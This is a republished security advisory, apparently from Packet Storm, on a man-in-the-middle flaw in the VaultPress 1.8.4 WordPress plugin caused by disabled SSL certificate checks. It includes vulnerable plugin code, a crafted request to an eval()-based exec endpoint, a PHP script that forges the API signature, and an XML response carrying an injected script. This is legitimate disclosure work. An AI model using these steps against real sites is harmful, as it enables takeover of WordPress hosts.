exploit the possibilities

WordPress VaultPress 1.8.4 Remote Code Execution / Man-In-The-Middle

WordPress VaultPress 1.8.4 Remote Code Execution / Man-In-The-Middle
Posted Mar 3, 2017
Authored by David Vaartjes

WordPress VaultPress plugin version 1.8.4 suffers from a remote code execution via man-in-the-middle attack vulnerability.

tags | exploit, remote, code execution
MD5 | e789ff80417d72dd4abdeb1a999234a9

WordPress VaultPress 1.8.4 Remote Code Execution / Man-In-The-Middle

Change Mirror Download
------------------------------------------------------------------------
VaultPress - Remote Code Execution via Man in The Middle attack
------------------------------------------------------------------------
David Vaartjes, July 2016

------------------------------------------------------------------------
Abstract
------------------------------------------------------------------------
A Man in The Middle (MiTM) vulnerability has been identified in the
VaultPress plugin of WordPress. This issue allows an attacker to to
sniff clear-text communication and to run arbitrary PHP code on the
affected WordPress host.

------------------------------------------------------------------------
OVE ID
------------------------------------------------------------------------
OVE-20160728-0002

------------------------------------------------------------------------
Tested versions
------------------------------------------------------------------------
This issue was successfully tested on VaultPress WordPress Plugin
version 1.8.4

------------------------------------------------------------------------
Fix
------------------------------------------------------------------------
There is currently no fix available.

------------------------------------------------------------------------
Details
------------------------------------------------------------------------
https://sumofpwn.nl/advisory/2016/vaultpress___remote_code_execution_via_man_in_the_middle_attack.html

Altough https (SSL) is used to communicate with the VaultPress backend (https://www.vaultpress.com), the server's SSL certificate is not verified by the plugin, which allows for Man in The Middle attacks to intercept (read/write) all traffic.

From a code perspective: when the query() method of the VaultPress_IXR_SSL_Client class is called and the WP_Http class has been defined, the sslverify attribute is set to false. The involved code in the vaultpress/class.vaultpress-ixr-ssl-client.php file is listed below:


[..]
if ( class_exists( 'WP_Http' ) ) {
$args = array(
'method' => 'POST',
'body' => $xml,
'headers' => $this->headers,
--> 'sslverify' => false,
);
if ( $this->timeout )
[..]

Once being possisioned as a MiTM, we've analysed if we could exploit this to also run arbitrary code on the WP server running the VaultPress plugin. Multiple possibilities exist.
Attack vector #1 - targeting vulnerable instance during registration using PHP's eval() function

If the MiTM attack is executed during registration (small change since this happens only once) the secret returned by the VaultPress server can be intercepted. Once obtained, the key can be used to communicatie with the WordPress host's VaultPress API, which offers a friendly method to run any PHP code you send to it directly using eval().


[..]
switch ( $_GET['action'] ) {
default:
die();
break;
--> case 'exec':
--> $code = $_POST['code'];
if ( !$code )
$this->response( "No Code Found" );
--> $syntax_check = @eval( 'return true;' . $code );
if ( !$syntax_check )
$this->response( "Code Failed Syntax Check" );
$this->response( eval( $code . ';' ) );
die();
break;
[..]

The above code can be triggered using the following request:

POST /wp-load.php?vaultpress=true&action=exec HTTP/1.1
Host: <target>
Connection: close
Content-Length: 67
Content-Type: application/x-www-form-urlencoded

code=phpinfo();&signature=5f3db7516912e6b30422a17c1d0bf49beedd6de8:

Please note that a valid signature is required. To create it, the secret value is needed, which seems to be exchanged during registration only. So again, this seems only to affects installations that were targeted by a MiTM during registration. I didn't checked this out, but it might be possible that the secret is included in the backup, such that it can be stolen at backup time as well by a MiTM.

The following script can be used to create the signature:

<?php
/**
** Generate Vaultpress API signature using MiTM'd secret
**/

$secret = "MITMD SECRET HERE";
$uri = "?vaultpress=true&action=exec";
$sig = ":";
$post = Array
(
'code' => "phpinfo();",
);

ksort( $post );
$sig = explode( ':', $sig );
$to_sign = serialize( array( 'uri' => $uri, 'post' => $post ) );
$signature = hash_hmac( 'sha1', "$to_sign:", $secret );

echo "Signature :". $signature;
?>


Attack vector #2 - targeting vulnerable instance after registration using script injection

If a MiTM attack is launched against a host which is already registered, the secret value cannot be intercepted. However, during any communication initiated by a user from the VaultPress plugin page (for example during backups) messages are exchanged between the WordPress host and the vaulpress.com backend.

Responses from the server lack any encoding when shown in the plugin's dashboard HTML pages. This allows a MiTM to inject scripting code in the target user's WordPress Admin panel. Effectively, in WordPress, this is game-over since XSS in the Admin Panel can be used to run arbitrary PHP code as well.

An example of objects lacking output encoding are the ui_message objects. The vulnerable code in the vaultpress/vaultpress.php file is as follows:

<div id="vp-notice" class="vp-notice vp-<?php echo $type; ?> wrap clearfix">
<div class="vp-message">
--> <h3><?php echo $heading; ?></h3>
--> <p><?php echo $message; ?></p>
</div>
</div>

To exploit this the following XML (faultcode) can be returned using an XML API call via a MiTM attack. Note the scripting code in the faultString field.


<?xml version="1.0"?>
<methodResponse>
<fault>
<value>
<struct>
<member>
<name>faultCode</name>
<value><int>-5</int></value>
</member>
<member>
<name>faultString</name>
--> <value><string><![CDATA[<script>alert("XSS");</script>]]></string></value>
</member>
</struct>
</value>
</fault>
</methodResponse>


------------------------------------------------------------------------
Summer of Pwnage (https://sumofpwn.nl) is a Dutch community project. Its
goal is to contribute to the security of popular, widely used OSS
projects in a fun and educational way.

Login or Register to add favorites

File Archive:

January 2021

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jan 1st
    4 Files
  • 2
    Jan 2nd
    3 Files
  • 3
    Jan 3rd
    3 Files
  • 4
    Jan 4th
    33 Files
  • 5
    Jan 5th
    31 Files
  • 6
    Jan 6th
    21 Files
  • 7
    Jan 7th
    15 Files
  • 8
    Jan 8th
    19 Files
  • 9
    Jan 9th
    1 Files
  • 10
    Jan 10th
    1 Files
  • 11
    Jan 11th
    33 Files
  • 12
    Jan 12th
    19 Files
  • 13
    Jan 13th
    27 Files
  • 14
    Jan 14th
    8 Files
  • 15
    Jan 15th
    16 Files
  • 16
    Jan 16th
    1 Files
  • 17
    Jan 17th
    2 Files
  • 18
    Jan 18th
    20 Files
  • 19
    Jan 19th
    32 Files
  • 20
    Jan 20th
    15 Files
  • 21
    Jan 21st
    10 Files
  • 22
    Jan 22nd
    16 Files
  • 23
    Jan 23rd
    1 Files
  • 24
    Jan 24th
    1 Files
  • 25
    Jan 25th
    36 Files
  • 26
    Jan 26th
    26 Files
  • 27
    Jan 27th
    28 Files
  • 28
    Jan 28th
    0 Files
  • 29
    Jan 29th
    0 Files
  • 30
    Jan 30th
    0 Files
  • 31
    Jan 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2020 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close